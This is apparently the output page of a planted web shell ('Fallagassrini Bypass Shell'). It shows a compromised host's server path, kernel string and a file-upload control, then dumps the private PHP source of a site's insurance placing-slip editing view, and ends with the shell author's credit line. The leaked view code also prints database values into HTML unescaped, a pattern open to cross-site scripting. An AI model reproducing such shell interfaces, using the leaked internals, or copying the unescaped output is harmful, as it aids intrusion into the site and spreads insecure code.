? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sibs_draft/system/application/views/Documents/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sibs_draft/system/application/views/Documents/editplacingslip.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<script type="text/javascript" src="<?=base_url()?>/assets/js/jquery.form.js"></script>
<script>

     $(document).ready(function(){

    if(<?=$plid?>==1)
    {
              payment(<?=$id?>);
    }

  checkfiscalyear("begin","mycompany");
        });


  
    </script>
<div id="note"></div>
<?php
$this->load->view('Documents/editdocumentcreation');
    foreach($viewinfo as $updata)
{
    $cover_id=$updata['cover_id'];
    $header=$updata['template_header'];
    $customer_id=$updata['customer_id'];
    $qdate=$updata['quotation_date'];
    $placingslip_id=$updata['id'];
    $qrefno=$updata['quotation_ref'];
    $typeof_policy=$updata['typeof_policy'];
    $currency=$updata['currencytype'];
    $descriptiontitle=$updata['suminsured_desctitle'];
    $suminsuredtitle=$updata['suminsured_sumtitle'];
    $total_sumtitle=$updata['total_sumtitle'];
    $total_sumtitle_amount=$updata['total_sumtitle_amount'];
       $description=$updata['remarks'];
   
}


    $viewbrokingslipinfo=$this->mastermodel->get_data('placing_slip',$placingslip_id,'id');
          
          


    $qdate=$this->mastermodel->convdatformat($qdate);

  $cr=$this->mastermodel->get_data_srow('covers',$cover_id,'id');
  $type=$this->customermodel->getSingleFieldValue('customers','type','id',$customer_id);
  $currency_type=$this->mastermodel->get_data_srow('country',$currency,'id');
  $currency_typefull=$this->mastermodel->getdatas('country');
            if($type=='Individual')
            {
            $name=$this->customermodel->getSingleFieldValue('customer_personal_ind','insured','customer_id',$customer_id);
	     
            $business='NIL';
            }
            else
            {
             $name=$this->customermodel->getSingleFieldValue('customer_corp_info','insured','customer_id',$customer_id);
             $business=$this->customermodel->getSingleFieldValue('customer_corp_info','business_activity','customer_id',$customer_id);
	      
            }
  
  //$templatetype=$this->mastermodel->get_data_srow('template_type',$templatetype_id,'id');
  $placingslipform=$this->mastermodel->get_data('placing_slip_form',$placingslip_id,'placing_slip_id');
  $premiumdetails=$this->mastermodel->get_data_srow('placing_slip_premiumdetails',$placingslip_id,'placing_slip_id');

   $viewslip_section_insured=$this->mastermodel->get_data('placing_slip_section',$placingslip_id,'placing_slip_id');
?>

<div class="select-bar">
<label>

    <img src="<?=base_url()?>/assets/images/backbutton.png" title="Back" class="clickimage"  onclick="viewplacingslip('<?=$_SESSION['searchoption']?>','<?=$_SESSION['pagenum']?>','<?=$_SESSION['searchtxt']?>')" alt="Back" align = "center" width="25" height="25"  /></label>

    <div style="float:right">
<?//=anchor('documents/debit_ps/'.$placingslip_id.'', '<img src="'.base_url().'/assets/images/blueup.jpg" title="Debit Note" align = "center" width="20" height="20">',array('class'=>'delete','onclick'=>"return confirm('Download Debit Note')"))?>
<?//=anchor('documents/credit_ps/'.$placingslip_id.'', '<img src="'.base_url().'/assets/images/bluedown.jpg" title="Credit Note" align = "center" width="20" height="20">',array('class'=>'delete','onclick'=>"return confirm('Download Credit Notes')"))?>
		 </div>  </div>
<div id="viewmsg"></div>


<?php

        $attributes = array('id' => 'customForm','name'=>'testform','class'=>'news');
        if($action=='update')
        {
        echo form_open_multipart('documents/editplacingslip',$attributes);
        }


        ?>
   
<fieldset>
    <legend>Update PlacingSlip</legend>
    <label style="width:80px;"><img src="<?=base_url()?>/assets/images/document_white.jpg"  class="clickimage"  onclick="editplacingslip(1,<?=$placingslip_id?>)" alt="Payment" align = "center"  /></label>
    
    <label style="width:80px;">
        <img src="<?=base_url()?>/assets/images/premium_blue.jpg"  class="clickimage"  onclick="payment(<?=$placingslip_id?>)" alt="Payment" align = "center"  />
    </label>
 <!--   <label>
        <img src="<?//=base_url()?>/assets/images/pay_white.jpg"  class="clickimage"  onclick="payamount(<?//=$placingslip_id?>)" alt="Payment" align = "center"  />
    </label>-->
    <ul id="paymentform"></ul>
   <ul id="payamountform"></ul>
    <ul id="templateform">
         
        
           <li   style="margin-left: 330px; height: 30px;"  >
                <input type="text" name="template_header" value="<?=$header?>" style="width:250px;"/>
                <!--label id="headerlabel" ondblclick="updateheader('headerlabel')"> Header of the template</label-->
        </li>
         <li >
             <div><label>Quotation Ref </label> <input type="text" id="quotation_ref" value ="<?=$qrefno?>" readonly="readonly" name="quotation_ref">
             <label style="width:60px;">Date</label> <input type="text" name="quotationdate" id="date" value="<?php echo $qdate;?>" readonly></div>
               <input type="hidden" name="cover" id="cover" value="<?=$cr->cover?>">
              <input type="hidden" name="coverid" id="coverid" value="<?=$cover_id?>">
              <input type='hidden' name='cust_id' value="<?=$customer_id?>"/>
               <input type='hidden' name='placingslipid' value="<?=$placingslip_id?>"/>
          </li>
         <li><label>Type of Policy</label>
	<select name="policytype" >
	<option value="0"  >Select</option>
	<option value="New" <?php if($typeof_policy=='New') {  ?> selected <?php } ?>>New</option>
	<option value="Renewal" <?php if($typeof_policy=='Renewal') {  ?> selected <?php } ?>>Renewal</option>
	</select>
	</li>
         <?php 
         $counterText=1;
        $counterTextArea=1;
        $counterComboBox=1;
        $counterstatic=1;
         $countercheckbox=1;
        foreach($placingslipform as $tform)
        {
            switch ($tform['fieldtype'])
            {
               case 'text':
               $idname="mytext".$counterText;

               echo "<li id='$idname'><input type='hidden' id='labelname' name='labelname[]' class='edit' value='$tform[labelname]'><label>$tform[labelname]</label><input type='hidden' name='fieldtype[]' value='text'><input type='text'  style='width:250px;'  value='$tform[value]' name='myInputs$counterText'><input type='hidden' name='textorder[]' value='$counterText'><img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('templateform','$idname')\" /></li>";
               $counterText++;
               break;

               case 'textarea':
               $idname="mytextarea".$counterTextArea;
               echo "<li id='$idname'><input type='hidden' id='labelname' name='labelname[]' class='edit' value='$tform[labelname]'><label>$tform[labelname]</label><input type='hidden' name='fieldtype[]' value='textarea'><textarea class='expand' name='myTextAreas$counterTextArea'>$tform[value]</textarea><input type='hidden' name='areaorder[]' value='$counterTextArea'><img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('templateform','$idname')\" /></li>";
               $counterTextArea++;
               break;

               case 'combobox':
               $idname="mycombo".$counterComboBox;
              // $cmb=$this->mastermodel->get_data('combobox_value',$tform['id'],'template_form_id');

                $namecombo="myComboBox".$counterComboBox."[]";
                
                $namecheck="mycheckbox".$countercheckbox."[]";
                
               echo "<li id='$idname'><input type='hidden' id='labelname' name='labelname[]' class='edit' value='$tform[labelname]'><label>$tform[labelname]</label><input type='hidden' name='fieldtype[]' value='combobox'>";
                    
               
                 switch($tform['labelname'])
                {
                         case 'Conditions':
                         echo '<textarea id="txtcondition" name="'.$namecombo.'"  class="expand">'.$tform['value'].'</textarea><img src="'.base_url().'/assets/images/button-search.png" title="Search" class="clickimage1" onclick="showcheckdiv(\'conditioncheckdiv\')"    />';
                         echo "<div style='display:none'><div id='conditioncheckdiv' >";
                         $conditions=$this->mastermodel->get_data('conditions',$cover_id,'cover_id');
                         foreach($conditions as $cnd)
                         {
                             $cnd['conditions1'] = str_replace("'", "~", $cnd['conditions']);
                            echo "<div><input type='checkbox' name='$namecheck' value='".$cnd['conditions1']."'>".$cnd['conditions']."</div>";
                         }

                         echo "<input type='button'  onclick=\"usecheckvalue('$namecheck','txtcondition')\" class='clickimage' value='Use'/></div></div>";
                         break;

                         case 'Special conditions':
                         echo '<textarea id="txtscondition"   name="'.$namecombo.'" class="expand">'.$tform['value'].'</textarea><img src="'.base_url().'/assets/images/button-search.png" title="Search" class="clickimage1" onclick="showcheckdiv(\'sconditioncheckdiv\')"    />';
                         echo "<div style='display:none'><div id='sconditioncheckdiv' >";

                         $spconditions=$this->mastermodel->get_data('specialconditions',$cover_id,'cover_id');
                         foreach($spconditions as $scnd)
                         {  $scnd['specialcondition1'] = str_replace("'", "~", $scnd['specialcondition']);
                            echo "<div><input type='checkbox' name='$namecheck' value='".$scnd['specialcondition1']."'>".$scnd['specialcondition']."</div>";
                         }
                          echo "<input type='button' onclick=\"usecheckvalue('$namecheck','txtscondition')\"  class='clickimage' value='Use'/></div></div>";
                         break;

                         case 'Extension':
                         echo '<textarea id="txtextension"   name="'.$namecombo.'" class="expand">'.$tform['value'].'</textarea><img src="'.base_url().'/assets/images/button-search.png" title="Search" class="clickimage1" onclick="showcheckdiv(\'extensioncheckdiv\')"    />';
                         echo "<div style='display:none'><div id='extensioncheckdiv' >";
                         $extension=$this->mastermodel->get_data('extension',$cover_id,'cover_id');
                         foreach($extension as $ext)
                         {   $ext['extension1'] = str_replace("'", "~", $ext['extension']);
                            echo "<div><input type='checkbox' name='$namecheck' value='".$ext['extension1']."'>".$ext['extension']."</div>";
                         }
                          echo "<input type='button' onclick=\"usecheckvalue('$namecheck','txtextension')\"  class='clickimage' value='Use'/></div></div>";
                         break;

                         case 'Exclusion':
                         echo '<textarea id="txtexclusion"   name="'.$namecombo.'" class="expand">'.$tform['value'].'</textarea><img src="'.base_url().'/assets/images/button-search.png" title="Search" class="clickimage1" onclick="showcheckdiv(\'exclusioncheckdiv\')"    />';
                         echo "<div style='display:none'><div id='exclusioncheckdiv' >";
                         $exclusion=$this->mastermodel->get_data('exclusion',$cover_id,'cover_id');
                         foreach($exclusion as $excl)
                         { $excl['exclusion1'] = str_replace("'", "~", $excl['exclusion']);
                            echo "<div><input type='checkbox' name='$namecheck'  value='".$excl['exclusion1']."'>".$excl['exclusion']."</div>";
                         }
                          echo "<input type='button'  onclick=\"usecheckvalue('$namecheck','txtexclusion')\" class='clickimage' value='Use'/></div></div>";
                         break;

                         case 'Deductible':
                         echo '<textarea id="txtdeductible"  name="'.$namecombo.'" class="expand">'.$tform['value'].'</textarea><img src="'.base_url().'/assets/images/button-search.png" title="Search" class="clickimage1" onclick="showcheckdiv(\'deductiblecheckdiv\')"    />';
                         echo "<div style='display:none'><div id='deductiblecheckdiv' >";
                         $deductible=$this->mastermodel->get_data('deductible',$cover_id,'cover_id');
                         foreach($deductible as $deduct)
                         {  $deduct['deductible1'] = str_replace("'", "~", $deduct['deductible']);
                            echo "<div><input type='checkbox' name='$namecheck'  value='".$deduct['deductible1']."'>".$deduct['deductible']."</div>";
                         }
                          echo "<input type='button'  onclick=\"usecheckvalue('$namecheck','txtdeductible')\" class='clickimage' value='Use'/></div></div>";
                         break;

                         case 'Excess':
                         echo '<textarea id="txtexcess"   name="'.$namecombo.'" class="expand">'.$tform['value'].'</textarea><img src="'.base_url().'/assets/images/button-search.png" title="Search" class="clickimage1" onclick="showcheckdiv(\'excesscheckdiv\')"    />';
                         echo "<div style='display:none'><div id='excesscheckdiv' >";
                         $excess=$this->mastermodel->get_data('excess',$cover_id,'cover_id');
                         foreach($excess as $exc)
                         {  $exc['excess1'] = str_replace("'", "~", $exc['excess']);
                            echo "<div><input type='checkbox' name='$namecheck'  value='".$exc['excess1']."'>".$exc['excess']."</div>";
                         }
                          echo "<input type='button' onclick=\"usecheckvalue('$namecheck','txtexcess')\"  class='clickimage' value='Use'/></div></div>";
                         break;

                         case 'Warranty':
                         echo '<textarea id="txtwarranty"   name="'.$namecombo.'" class="expand">'.$tform['value'].'</textarea><img src="'.base_url().'/assets/images/button-search.png" title="Search" class="clickimage1" onclick="showcheckdiv(\'warrantycheckdiv\')"    />';
                         echo "<div style='display:none'><div id='warrantycheckdiv' >";
                         $warranty=$this->mastermodel->get_data('warranty',$cover_id,'cover_id');
                         foreach($warranty as $wrnt)
                         {  $wrnt['warranty1'] = str_replace("'", "~", $wrnt['warranty']);
                            echo "<div><input type='checkbox' name='$namecheck'  value='".$wrnt['warranty1']."'>".$wrnt['warranty']."</div>";
                         }
                          echo "<input type='button'  onclick=\"usecheckvalue('$namecheck','txtwarranty')\" class='clickimage' value='Use'/></div></div>";
                         break;
                        default:
                        echo "<select id='myComboBox$counterComboBox' MULTIPLE SIZE=3 name='$namecombo'>";
                    $cmb=explode('~',$tform['value']);
                 for($k=0;$k<sizeof(array_filter($cmb));$k++)
                 {
                    echo "<option value='$cmb[$k]'>".$cmb[$k]."</option>";
                 }
                    echo "</select>";



                }
              
               echo "<img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('templateform','$idname')\"/><input type='hidden' name='comboorder[]' value='$counterComboBox'>";
                  
               echo "<input type='hidden' id='combotext$counterComboBox' value='".$tform['value']."' name='combotext$counterComboBox'/>";
                 $counterComboBox++;
                 $countercheckbox++;
                
                 echo "<li></li>";
                 
               break;
            
          case 'suminsured':
                 $liidname="mysuminsured";
                echo "<li id='$liidname'><input type='hidden' id='labelname' name='labelname[]' class='edit' value='$tform[labelname]'><label>$tform[labelname]</label>
                <input type='hidden' name='fieldtype[]' value='suminsured'>";



                        $counter=0;

			$seccounter=0;
			$tempcount= sizeof($viewslip_section_insured); //for not displaying total in last section.
			echo "<table border=0>
                 <tbody>
                <tr><th>Section</th><th>Title</th></tr>
                <tr><td>
                         <textarea class='expand' name='section_st' id='section_st' style='width:250px;'></textarea></td><td><textarea class='expand' style='width:250px;' name='section_title_st' id='section_title_st'></textarea></td>
                         <td><input type='button' style='cursor:pointer;'";

                         if($tempcount>0)
                         {
           echo "onclick=\"addeditsection(document.getElementById('section_st').value,document.getElementById('section_title_st').value,document.getElementById('sumcounter').value,document.getElementById('sectioncounter').value)\" ";
                         }
                         else
                         {
           echo "onclick=\"addsection(document.getElementById('section_st').value,document.getElementById('section_title_st').value)\" ";
                         }

           echo "class=\"clickimage\" value=\"Add\"/>
                </td></tr>
                <tr>";

                 echo "<th><input type='text' style='width:250px;' name='desctitle' value='$descriptiontitle'></th>
                 <th><input type='text' style='width:250px;' name='suminsuredtitle' value='$suminsuredtitle'></th><th></th></tr><tr><td>
                             <textarea class='expand' name='description' id='description' style='width:250px;'></textarea></td><td><input type='text' name='amt' id='amt' >
                         <input type='button' id='send' ";
                            if($tempcount>0)
                                 {
                            echo "onclick=\"addeditsuminsured(document.getElementById('description').value,document.getElementById('amt').value,document.getElementById('sumcounter').value,document.getElementById('sectioncounter').value)\"";
                                 }
                                 else
                                 {
                            echo "onclick=\"addsuminsured(document.getElementById('description').value,document.getElementById('amt').value)\"";
                                 }
                            echo "class=\"clickimage\" value=\"Add\"/>

                         <img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('templateform','$liidname')\" />
                         </td>

                     </tr><tr>";

                     $cntsum=0;
                     $stotal=0;
		foreach($viewslip_section_insured as $secval)
		{
                    $tempcount--; //for not displaying total in last section.
                    $secid="seccount".$seccounter;

		    echo "
		    <table border='0' id='$secid' style='background-color:#fff;  border:solid 0px; border-color:#ccc;color:#000;' >
		    		    <tr><td><label>&nbsp;</label></td>";




			if($secval['section']!='--')  // for checking the suminsured without sections.
                     {
			echo "<td >

			<textarea id='section'  name='section[]' class='expand'  style='width:250px;' >".$secval['section']."</textarea>
			</td>
			<td >
			<textarea  name='section_title[]' class='expand' style='width:170px;'  >".$secval['section_title']."</textarea>
			<img class='clickimage'  src='".base_url()."/assets/images/x-icon.png' onClick=\"removesecElementedit('".$liidname."','".$secid."','".$seccounter."','".$cntsum."')\"/>
			</td>";
		     }
		     else if($secval['section']=='--')
			     {
				echo "<td><input type='hidden' id='section' name='section[]' value='".$secval['section']."'   >
			</td>
			<td >
			<input type='hidden'  name='section_title[]' value='".$secval['section_title']."'  ></td>";
			     }
		     ?>



		    <?php
                    echo "</tr></table>";
		     $viewslip_sum_insured=$this->mastermodel->get_data('placing_slip_sum_insured',$secval['id'],'section_id');


		      $stotal=0;
		      $seccnt=-1;
		     $mrateamt=0;
		     $srateamt=0;
                     $stotal=$secval['total_suminsured'];
		      foreach($viewslip_sum_insured as $sumval)
                     {
		    $idname="suminsured".$counter;

                     $sid="sumamt".$counter;




                     echo "
		    <table border=0 id='$idname'><tr><td><label>&nbsp;</label></td>
			<td width='155px'>

			     <textarea  name='desc[]' style='width:250px;' class='expand' >".$sumval['description']."</textarea>

			 </td>

			<td >
			<input type='text' style='width:170px;' name='sumamt[]' value='".$sumval['amount']."'  id='$sid' >
			<img class='clickimage'  src='".base_url()."/assets/images/x-icon.png'  onClick=\"removesumElementedit('".$liidname."','".$idname."','".$counter."','".$seccounter."')\"/>
			</td>";


			echo "</tr> ";
                        $counter++;
			$seccnt++;
                        $cntsum++;

                     }





		     echo "</table>";
		echo "<table border=0 id='secref$seccounter'>";
         echo "<tr><td><input type='hidden' name='seccount$seccounter' value='".$seccnt."'  id='seccount$seccounter'></td></tr>";
         echo "<tr><td><input type='hidden' id='cnttxt' value='".$counter."'/>";
         echo "</td></tr></table>";

         $tempsecrec=$seccounter;
         if($tempcount!=0)
         {
            if($stotal!=0)
            {

        echo"
	<table border='0' id='totsec$seccounter' style='background-color:#fff;  border:solid 1px; border-color:#ccc;color:#000;'>
             <tr><td><label>&nbsp;</label> </td>

	       <td width=\"170px\">Total:</td>
	       <td>
		  <input type=\"text\" style='width:170px;' id=\"totamt$seccounter\" name=\"totamt$seccounter\" value='$stotal'>
	        <img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('$liidname','totsec$seccounter')\" />
                </td></tr></table>";
         }

         }

		$seccounter++;
		}
                $lessseccounter=$seccounter-1;
                echo "<input type='hidden' name='sumcounter' value='$counter'  id='sumcounter'> ";
		echo '<input type="hidden" value="'.$seccounter.'" name="sectioncounter" id="sectioncounter"/>';
                echo "<input type='hidden' style='width:50px;' id='sec' value='$lessseccounter'  >";
           echo "<table border=0>
         <div id=\"sumdetid\" >


	 </div>
	</table>";
        if($stotal!=0)
        {

	echo "<table border=0 id='totalamtdiv' style='float:left; '><label>&nbsp;</label>

	<tr><td>&nbsp;</td></tr>
	<tr>
	<td width=\"155px\">Total:</td>
	<td><input type=\"text\"  id=\"totamt\"  value='$stotal'>
         <img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('$idname','totalamtdiv')\" />
        </td><td>";



        echo "</td></tr></table>";


        }
            if($total_sumtitle!="")
            {

        echo "<table border=0 id='totalsumamtdiv'><label>&nbsp;</label>

	<tr><td>&nbsp;</td></tr>
	<tr>
        <td width=\"155px\"><input type=\"text\" name='totalsumtitle' id=\"totalsumtitle\"  value='$total_sumtitle'></td>
	<td ><input type=\"text\"   name='total_sumtitle_amount' value='$total_sumtitle_amount'>
        <img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('$liidname','totalsumamtdiv')\" />
        </td></tr></table>";

            }
	echo "<table border=0 style='float:left;' >
            <tr><td>&nbsp;</td></tr>";

        echo "</table>";

	 echo "</li>
	 <li></li>";
            break;
                
        case 'insured':
            echo '<li id="insured_txt">
            
            <input type="hidden" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'"><label>'.$tform['labelname'].'</label>
                <input type="hidden" name="fieldtype[]" value="insured">';
           
             $data = array(
              'name'        => 'insured',
              'id'          => 'insured',
              'value'       => $name,
              'style'       =>'width:250px;',
                 'readonly'=>'readonly'
              );

             echo form_input($data).form_error($data);
             
             echo '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span id="insuredInfo" class="red_bold">*</span>
             </li>';
            break;
        
        case 'business':
           echo ' <li id="business_txt">
            <input type="hidden" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'"><label>'.$tform['labelname'].'</label>
                <input type="hidden" name="fieldtype[]" value="business">
            <input type="text" name="business" id="business" value="'.$business.'" style="width:250px;"><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'templateform\',\'business_txt\')" /></li>';
            break;
        
        case 'premium':
            if($premiumdetails->ispercentage)
           {
                $premiumfieldname=$tform['labelname'];
           }
           else
           {
                $premiumfieldname="Net Permium";
           }
           echo ' <li id="premium_txt">
                 <input type="hidden" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'"><label>'.$premiumfieldname.'</label>
                <input type="hidden" name="fieldtype[]" value="premium">';
		echo '<table><tr><td><select name="currencytype" id="currencytype" >';
		if(!empty($currency_type->currencycode))
		echo '<option value="'.$currency_type->id.'" selected >'.$currency_type->currencycode.'</option>';
		else
		echo '<option value="0" selected >Select Currency</option>';
		    foreach ($currency_typefull as $key => $list)
		    {		if($currency_type->currencycode!=$list['currencycode'])
			    {
			    echo "<option value='". $list['id'] . "'>" . $list['currencycode'] . "</option>";
			    }
		    }


		echo '</select></td><td>
            <input type="text" name="premium" id="premium" value="'.$premiumdetails->premium.'" style="width:250px;">
	    <img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'templateform\',\'premium_txt\')" />
                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span id="currencytypeInfo" class="red_bold">*</span>
	    </td></tr></table></li>';
            break;
	case 'brokerage':
           if($premiumdetails->ispercentage)
           {
           $bpmode="selected='selected'";
           $bfmode="";
           }
           else
           {
           $bfmode="selected='selected'";
           $bpmode="";
           }
           echo ' <li id="brokerage_txt">
            <input type="hidden" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'"><label>'.$tform['labelname'].'</label>
                <input type="hidden" name="fieldtype[]" value="brokerage">
            <input type="text" name="brokerage" id="brokerage" style="width:250px;" value="'.$premiumdetails->brokerage.'">
            <select name="ispercentage" id="ispercentage"><option value="1" '.$bpmode.' >Percentage</option><option value="0" '.$bfmode.'>Flat</option></select><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'templateform\',\'brokerage_txt\')" /></li>';
            break;

         case 'policyfees':
           echo ' <li id="policyfees_txt">
            <input type="hidden" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'"><label>'.$tform['labelname'].'</label>
                <input type="hidden" name="fieldtype[]" value="policyfees">
            <input type="text" name="policyfees" id="policyfees" style="width:170px;" value="'.$premiumdetails->policy_fees.'"><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'templateform\',\'policyfees_txt\')" /></li>';
            break;
        
        case 'periodofinsurance':
           echo ' <li id="periodofinsurance_txt">
            <input type="hidden" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'"><label>'.$tform['labelname'].'</label>
                <input type="hidden" name="fieldtype[]" value="periodofinsurance">
           <table><tr><td><input type="text" name="frmdate" style="background-image: url(../../../../assets/images/datefocus.gif);" class="one" id="frmdate" value="'.$this->mastermodel->convdatformat($premiumdetails->fromdate).'" readonly></td>
	   <td><label style="width:30px;">To</label> </td><td><input type="text" name="todate" style="background-image: url(../../../../assets/images/datefocus.gif);" class="one" id="todate" value="'.$this->mastermodel->convdatformat($premiumdetails->todate).'" readonly></td><td>
	   
	   <img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'templateform\',\'periodofinsurance_txt\')" /></td></tr></table></li><li></li>';
            break;
        
         case 'rate':
            $ratecount=0;
            echo " <li id='rate_txt'>
               <input type='hidden' id='labelname' name='labelname[]' class='edit' value='$tform[labelname]'><label>$tform[labelname]</label>
                <input type='hidden' name='fieldtype[]' value='rate'>
                <table border=0>
                 <tbody>
                 <tr><td>
                         <textarea class='expand' name='rate_section' id='rate_section' style='width:250px;'></textarea></td><td><input type='text'  name='rate_amount' id='rate_amount'/></td>
                         <td><input type='button' style='cursor:pointer;'  onclick=\"addeditratesection(document.getElementById('rate_section').value,document.getElementById('rate_amount').value,'$ratecount')\"  value=\"Add\"/>
                         <img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('templateform','rate_txt')\" />
                </td></tr></table>";

            $rate_section=$this->mastermodel->get_data('placing_slip_rate',$placingslip_id,'placing_slip_id');



               foreach($rate_section as $ratesection)
                      {
                        echo ' <table border="0" id="ratesumdiv'.$ratecount.'"  >';
                        echo '<tr ><td><label>&nbsp;</label></td>';
                        echo "<td><textarea class='expand' name='ratesection[]' id='ratesection' style='width:250px;'>$ratesection[ratesection]</textarea></td><td><input type='text'   name='rate[]' id='rate' value='$ratesection[rate]'/></textarea>
                         <img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('rate_txt','ratesumdiv$ratecount')\" />



                        </td>";


			echo '</tr>';
                         echo '</table>';
                        $ratecount++;
                      }


             echo "<table border=0>
                <div id=\"ratedetid\"  >


                </div>
                </table>
            </li>";
            break;
        
            }

        }
           ?> 
         <div id="extratemplateform">
             
         </div>

         <input type="hidden" name="isnewadded" id="isnewadded" value=""/>
         
       <li>
        <label for="country">Description</label>
             <?php echo form_textarea('description',$description); ?>
        </li>
      
       
         <li>
        <button type="submit" id="button1" value="Update" onclick="return  updatepslip();">Update</button>
        
         </li>
      
    </ul>
     
    </fieldset>

  <?php echo form_close();?> 

<div class="cssbox" id="draggable">
        <div class="cssbox_head">
            <h2>Form Tools</h2></div>
        <div class="cssbox_body">

            <fieldset>
                <ul>

                    <li onClick="addAllInputs('extratemplateform','text');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Text Box</span></li>
                    <li onClick="addAllInputs('extratemplateform','textarea');"><img alt="" src="<?=base_url()?>/assets/images/textarea.png" align="left"><span>Text Area</span></li>
                    <li onClick="addAllInputs('extratemplateform','combobox');"><img alt="" src="<?=base_url()?>/assets/images/dropdown.png" align="left"><span>Drop Down</span></li>


                </ul>


            </fieldset>






        </div><div class="fronticons">

  

        </div>
    </div>
<div class="cssbox" id="draggable3">
        <div class="cssbox_head">
            <h2>Form Tools</h2></div>
        <div class="cssbox_body">

	    <fieldset>
                <ul>
		    <li onClick="addstaticfield('extratemplateform','Interest & Sum Insured','suminsured');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>I & S.Insured</span></li>
		    <li onClick="addstaticfield('extratemplateform','Insured','insured');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Insured</span></li>
		    <li onClick="addstaticfield('extratemplateform','Business','business');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Business</span></li>
		    <li onClick="addstaticfield('extratemplateform','Premium','premium');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Premium</span></li>
		    <li onClick="addstaticfield('extratemplateform','Brokerage','brokerage');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Brokerage</span></li>
                    <li onClick="addstaticfield('extratemplateform','Policy Fees','policyfees');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Policy Fees</span></li>
		     <li onClick="addstaticfield('extratemplateform','Rate','rate');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Rate</span></li>
		    <li onClick="addstaticfield('extratemplateform','Period Of Insurance','periodofinsurance');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>P.Insurance</span></li>
		</ul>
	    </fieldset>



        </div>
    </div>

    
    

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net